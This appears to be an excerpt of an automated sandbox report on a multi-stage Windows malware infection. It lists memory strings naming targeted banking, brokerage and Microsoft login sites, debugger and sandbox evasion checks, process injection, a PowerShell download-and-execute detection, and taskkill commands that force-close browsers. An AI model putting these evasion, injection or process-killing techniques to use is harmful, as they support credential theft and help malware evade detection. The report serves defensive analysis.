Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: f570600774.exe, 0000000E.00000002.3190013417.00000000014A4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW(YM
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: skotes.exe, 00000006.00000002.3482291787.000000000152A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3482291787.000000000156A000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.3092005941.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.3092005941.0000000000FAC000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000002.3093376280.0000000000FAC000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000002.3093376280.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.3092697959.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3248884803.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3357704236.00000000055CF000.00000004.00000020.00020000.00000000.sdmp, f30149f036.exe, 0000000C.00000003.3304496353.00000000055CF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: global block list test formVMware20,11696487552
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 176986cc9c.exe, 0000000F.00000003.3272351403.0000000005432000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: - GDCDYNVMware20,11696487552p
Source: d0d9725343.exe, 0000000B.00000003.3092005941.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000002.3093376280.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.3092697959.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWl
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: AMC password management pageVMware20,11696487552
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: firefox.exe, 0000001D.00000002.3378785506.000002149CEB0000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: f570600774.exe, 0000000E.00000002.3190013417.000000000145E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 3981530833.exe, 00000010.00000003.3283575552.00000000013BA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWL
Source: file.exe, 00000000.00000002.2160947735.0000000001138000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2183506287.0000000000DC8000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000003.00000002.2190436081.0000000000DC8000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmp, f30149f036.exe, 0000000C.00000002.3458889721.00000000009A9000.00000040.00000001.01000000.0000000B.sdmp, f570600774.exe, 0000000E.00000002.3180488584.0000000000E56000.00000040.00000001.01000000.0000000D.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 176986cc9c.exe, 0000000F.00000003.3275055775.0000000005424000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: C:\Users\user\Desktop\file.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\file.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Thread information set: HideFromDebugger
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\file.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process queried: DebugPort
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_04880C3A rdtsc 0_2_04880C3A
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 11_2_0043B480 LdrInitializeThunk, 11_2_0043B480
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 8_2_0022D86F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 8_2_0022D86F
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00402A20 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree, 12_2_00402A20
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00F7652B mov eax, dword ptr fs:[00000030h] 0_2_00F7652B
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_00F7A302 mov eax, dword ptr fs:[00000030h] 0_2_00F7A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_2_00C0A302 mov eax, dword ptr fs:[00000030h] 2_2_00C0A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 2_2_00C0652B mov eax, dword ptr fs:[00000030h] 2_2_00C0652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 3_2_00C0A302 mov eax, dword ptr fs:[00000030h] 3_2_00C0A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 3_2_00C0652B mov eax, dword ptr fs:[00000030h] 3_2_00C0652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C0A302 mov eax, dword ptr fs:[00000030h] 6_2_00C0A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00C0652B mov eax, dword ptr fs:[00000030h] 6_2_00C0652B
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 8_2_002561A9 mov edi, dword ptr fs:[00000030h] 8_2_002561A9
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 8_2_00221B70 mov edi, dword ptr fs:[00000030h] 8_2_00221B70
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 10_2_00221B70 mov edi, dword ptr fs:[00000030h] 10_2_00221B70
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_10007A76 mov eax, dword ptr fs:[00000030h] 12_2_10007A76
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_10005F25 mov eax, dword ptr fs:[00000030h] 12_2_10005F25
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_00F4D4A3 push dword ptr fs:[00000030h] 12_2_00F4D4A3
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_04B40D90 mov eax, dword ptr fs:[00000030h] 12_2_04B40D90
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_04B4092B mov eax, dword ptr fs:[00000030h] 12_2_04B4092B
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 8_2_0023C275 GetProcessHeap, 8_2_0023C275
Enables debug privileges
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 8_2_0022D863 SetUnhandledExceptionFilter, 8_2_0022D863
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 8_2_0022D86F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 8_2_0022D86F
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 8_2_0023695D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 8_2_0023695D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 8_2_0022D4B3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 8_2_0022D4B3
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 10_2_0022D863 SetUnhandledExceptionFilter, 10_2_0022D863
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 10_2_0022D86F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 10_2_0022D86F
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 10_2_0023695D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 10_2_0023695D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 10_2_0022D4B3 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 10_2_0022D4B3
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_004099EA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 12_2_004099EA
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_0040A54A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 12_2_0040A54A
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_0040CDA3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 12_2_0040CDA3
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_0040A6E0 SetUnhandledExceptionFilter, 12_2_0040A6E0
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_10002ADF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 12_2_10002ADF
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_100056A0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 12_2_100056A0
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_10002FDA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 12_2_10002FDA
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_04B49C51 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 12_2_04B49C51
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_04B4A7B1 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 12_2_04B4A7B1
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_04B4D00A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 12_2_04B4D00A
Source: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe Code function: 12_2_04B4A947 SetUnhandledExceptionFilter, 12_2_04B4A947
Source: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe Memory protected: page guard

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: Process Memory Space: f570600774.exe PID: 5936, type: MEMORYSTR
Contains functionality to inject code into remote processes
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: 8_2_002561A9 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,TerminateProcess,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread, 8_2_002561A9
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Memory written: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe "C:\Users\user\AppData\Local\Temp\1013510001\f30149f036.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe "C:\Users\user\AppData\Local\Temp\1013511001\176986cc9c.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe "C:\Users\user\AppData\Local\Temp\1013512001\f570600774.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe "C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe "C:\Users\user\AppData\Local\Temp\1013514001\536e42fc8b.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Process created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Process created: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe "C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe" Jump to behavior
Uses taskkill to terminate processes
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1013513001\3981530833.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: 3981530833.exe, 00000010.00000000.3188474119.0000000000F62000.00000002.00000001.01000000.0000000E.sdmp Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: skotes.exe Binary or memory string: AProgram Manager
Source: file.exe, 00000000.00000002.2161576796.0000000001179000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2183637557.0000000000E09000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000003.00000002.2190597488.0000000000E09000.00000040.00000001.01000000.00000008.sdmp Binary or memory string: AProgram Manager
Source: f30149f036.exe, f30149f036.exe, 0000000C.00000002.3458889721.00000000009A9000.00000040.00000001.01000000.0000000B.sdmp Binary or memory string: rProgram Manager
Source: f570600774.exe, 0000000E.00000002.3180488584.0000000000E56000.00000040.00000001.01000000.0000000D.sdmp Binary or memory string: vt]Program Manager
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 6_2_00BEDD91 cpuid 6_2_00BEDD91
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: EnumSystemLocalesW, 8_2_00240111
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: GetLocaleInfoW, 8_2_00240170
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: EnumSystemLocalesW, 8_2_00240245
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: GetLocaleInfoW, 8_2_00240290
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 8_2_00240337
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: EnumSystemLocalesW, 8_2_0023BB60
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 8_2_0023FBD2
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: GetLocaleInfoW, 8_2_0024043D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: GetLocaleInfoW, 8_2_0023B5BC
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: EnumSystemLocalesW, 8_2_0023FE23
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 8_2_0023FEBE
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: EnumSystemLocalesW, 10_2_00240111
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: GetLocaleInfoW, 10_2_00240170
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: EnumSystemLocalesW, 10_2_00240245
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: GetLocaleInfoW, 10_2_00240290
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 10_2_00240337
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: EnumSystemLocalesW, 10_2_0023BB60
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 10_2_0023FBD2
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: GetLocaleInfoW, 10_2_0024043D
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: GetLocaleInfoW, 10_2_0023B5BC
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: EnumSystemLocalesW, 10_2_0023FE23
Source: C:\Users\user\AppData\Local\Temp\1013509001\d0d9725343.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 10_2_0023FEBE
Queries the volume information (name, serial number etc) of a device
